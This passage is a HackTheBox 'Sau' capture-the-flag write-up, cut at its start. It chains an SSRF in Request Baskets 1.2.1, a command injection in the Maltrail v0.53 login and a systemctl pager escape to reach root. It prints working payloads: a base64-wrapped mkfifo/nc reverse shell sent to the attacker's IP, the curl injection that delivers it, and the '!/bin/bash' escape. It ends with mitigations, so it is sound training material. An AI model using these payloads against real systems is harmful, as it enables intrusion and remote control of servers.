puma. Escalation to root exploits CVE-2023-26604: systemctl status run via sudo invokes less as a pager inheriting root privileges, which we escape with !/bin/bash.HackTheBox Linux Easy
πΊοΈ Machine Info#
| Field | Detail |
|---|---|
| Name | Sau |
| OS | Linux |
| Difficulty | Easy |
| IP | 10.129.229.26 |
| Techniques | CVE-2023-27163 Β· SSRF Β· Maltrail RCE Β· CVE-2023-26604 Β· sudo Pager Escape |
1. Reconnaissance#
1.1 Port Scan#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.229.26PORT STATE SERVICE
22/tcp open ssh
55555/tcp open unknownVersion scan on open ports:
nmap -sC -sV -p22,55555 10.129.229.26PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu
55555/tcp open http Golang net/http server
|_http-title: Request BasketsOpen ports:
22β SSH, no known public exploits55555β Golang service redirecting to/webβ Request Baskets
π‘ Attack surface: Only two ports. All initial research goes through the web service on 55555.
2. Application Identification β Request Baskets v1.2.1#
Visiting http://10.129.229.26:55555/web confirms the application and its version.

Powered by request-baskets | Version: 1.2.1What is Request Baskets? A tool that creates configurable HTTP “baskets” to capture, inspect, and proxy requests to a target URL. This forwarding functionality is exactly the attack vector.
β οΈ Vulnerability identified: Request Baskets v1.2.1 is vulnerable to CVE-2023-27163, an SSRF (Server-Side Request Forgery): the
forward_urlfield in a basket’s configuration doesn’t restrict the destination, allowing the server itself to make HTTP requests to internal addresses (127.0.0.1, private networks) on behalf of the attacker.
3. Exploitation β SSRF via Request Baskets (CVE-2023-27163)#
3.1 Step 1 β Create a Basket and Verify the SSRF#
From /web we create a new basket. The application assigns a random name (e.g. h68nagt). We configure forward_url pointing to our VPN IP with Proxy Response and Expand Forward Path enabled:

We open a listener:
nc -lnvp 80We trigger a request against the basket:
curl http://10.129.229.26:55555/h68nagtThe listener receives the request forwarded by the target server:
Listening on 0.0.0.0 80
Connection received on 10.129.229.26 39160
GET / HTTP/1.1
Host: 10.10.14.211
User-Agent: curl/8.14.1
X-Do-Not-Forward: 1β SSRF confirmed. The target server made the HTTP request on our behalf. The
X-Do-Not-Forward: 1header is an internal Request Baskets protection to prevent forwarding loops β it doesn’t prevent directing the proxy to internal destinations.
3.2 Step 2 β Pivot to the Internal Service#
We reconfigure the basket to point to http://127.0.0.1:80 β the target machine’s localhost, on a port that didn’t appear in the Nmap scan because it only listens on loopback:

Repeating the request against the basket, the forwarded response reveals the local application:

Maltrail v0.53 β a malicious traffic detection system.
π‘ Why this works: Port 80 is only exposed on
127.0.0.1, invisible from the outside. But the SSRF makes the server itself make the connection, not us β from the target machine’s kernel, the request comes from itself, so the loopback filter doesn’t apply.
β οΈ Vulnerability identified: Maltrail v0.53 has an unauthenticated RCE on the
/loginendpoint: theusernameparameter is passed unsanitized to a system command (logger), allowing command injection via subshell substitution (`...`).
4. Exploitation β Unauthenticated RCE on Maltrail#
4.1 Payload Construction#
We base64-encode the reverse shell to avoid issues with special characters in the request:
ENC=$(echo -n "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.211 4444 >/tmp/f" | base64 -w0)4.2 Delivery via SSRF#
We leverage the SSRF basket (configured to forward to 127.0.0.1:80) to deliver the payload to Maltrail’s login endpoint:
curl 'http://10.129.229.26:55555/h68nagt/login' \
--data "username=;\`echo+$ENC+|+base64+-d+|+sh\`"Login failedπ‘ Payload logic: The
usernamefield closes the context expected by theloggercommand and injects a subshell substitution that decodes the base64 payload and executes it withsh. TheLogin failedresponse is normal behavior β the command already executed in the background before the login logic finishes processing.
4.3 Receiving the Shell#
nc -lnvp 4444Listening on 0.0.0.0 4444
Connection received on 10.129.229.26 35486
sh: 0: can't access tty; job control turned off
$ whoami
pumaTTY stabilization:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm; export SHELL=bash
stty rows 40 cols 150; resetβ
Shell obtained as puma.
5. User Flag#
puma@sau:~$ cat ~/user.txtπ User flag obtained.
6. Privilege Escalation β CVE-2023-26604 (Pager Escape in systemctl)#
6.1 Sudo Permission Enumeration#
puma@sau:~$ sudo -lUser puma may run the following commands on sau:
(ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.servicepuma@sau:~$ systemctl --versionsystemd 245 (245.4-4ubuntu3.22)β οΈ Vulnerability identified (CVE-2023-26604): When
systemctl statusoutput exceeds the terminal height,systemdautomatically invokes a pager (less) to paginate it. If the command was run viasudo, thatlessinherits root privileges.lessallows executing arbitrary shell commands with!<command>, inheriting those same privileges.
6.2 Exploit Execution#
puma@sau:~$ sudo /usr/bin/systemctl status trail.serviceβ trail.service - Maltrail. Server of malicious traffic detection system
Loaded: loaded (/etc/systemd/system/trail.service; enabled)
Active: active (running) since Mon 2026-07-13 10:56:47 UTC; 3h 30min ago
Main PID: 896 (python3)
Tasks: 13 (limit: 4662)
Memory: 29.3M
CGroup: /system.slice/trail.service
ββ 896 /usr/bin/python3 server.py
ββ1342 pagerThe output opens paginated via less, executed in the sudo process tree β with root privileges. Inside the pager we type:
!/bin/bashroot@sau:/opt/maltrail# id
uid=0(root) gid=0(root) groups=0(root)β Escalation to root completed.
7. Root Flag#
root@sau:~# cat /root/root.txtπ Root flag obtained.
8. Summary and Lessons Learned#
Compromise path:
- Recon β Port 55555 with Request Baskets v1.2.1.
- CVE-2023-27163 β SSRF via
forward_urlβ confirmed by forwarding request to our IP. - Pivot β Forward to
127.0.0.1:80β Maltrail v0.53 discovered (only accessible on localhost). - Maltrail RCE β Command injection in
usernameparameter of the login β reverse shell aspuma. - User flag β
~/user.txt. - CVE-2023-26604 β
sudo systemctl statusinvokeslessas pager with root privileges β!/bin/bashβ root.
What I learned from this machine:
“Only listens on localhost” is not a security barrier if there’s an SSRF in another service. Port 80 of Maltrail was invisible to an external scanner, but the SSRF turned the server itself into our proxy. Internal network segmentation must complement binding restrictions β an unauthenticated service on loopback is still vulnerable if there’s another exploitable service on the same machine.
SSRF is often the first link in a chain, not the attack itself. The value of CVE-2023-27163 wasn’t in the SSRF per se but in what was behind it: a more dangerous service only reachable through it. The pivot methodology (confirm SSRF β scan internal ranges β identify hidden services) is the pattern to follow whenever an SSRF is found.
Command injection in logging parameters is a classic, still-relevant error. Maltrail used
loggerto record failed login attempts, passingusernameunsanitized. Any call to an external command that includes user input without going through an argument list (subprocess.run([...])in Python, equivalents in other languages) is potentially vulnerable. The correct fix in Maltrail would have been to usesubprocessarguments as a list, not as a shell string.CVE-2023-26604 illustrates why interactive pagers are dangerous in sudo contexts.
lessis useful, but when invoked with elevated privileges it becomes a trivial escape vector β!commandeffectively turns it into a shell with those privileges. The fix is always to pass--no-pageror setSYSTEMD_PAGER=catin sudoers rules for any systemd command run via sudo.This machine’s full chain is two 2023 CVEs chained together. Neither is sophisticated in isolation β one is a poorly restricted proxy, the other is a pager that launches shells. The value is in recognizing the pattern: when sudo permits executing something that can in turn open an interactive process (pager, editor, interpreter), investigate whether that process inherits privileges.
Mitigations:
| Vector | Mitigation |
|---|---|
| CVE-2023-27163 β SSRF in Request Baskets | Update to patched version; validate and restrict forward_url destinations (block private ranges and loopback) |
| Maltrail on localhost without authentication | Don’t assume loopback is secure; apply authentication to all services regardless of binding |
RCE in Maltrail login (injection in logger) | Update Maltrail; use argument lists in subprocess calls β never interpolate user input into shell strings |
sudo NOPASSWD on systemctl status | Add --no-pager or set SYSTEMD_PAGER=cat in the sudoers rule; avoid sudo permissions on commands that invoke interactive pagers |
| CVE-2023-26604 β pager escape with inherited privileges | Update systemd to patched version (β₯ 247); configure PAGER=cat for sudo-executable commands |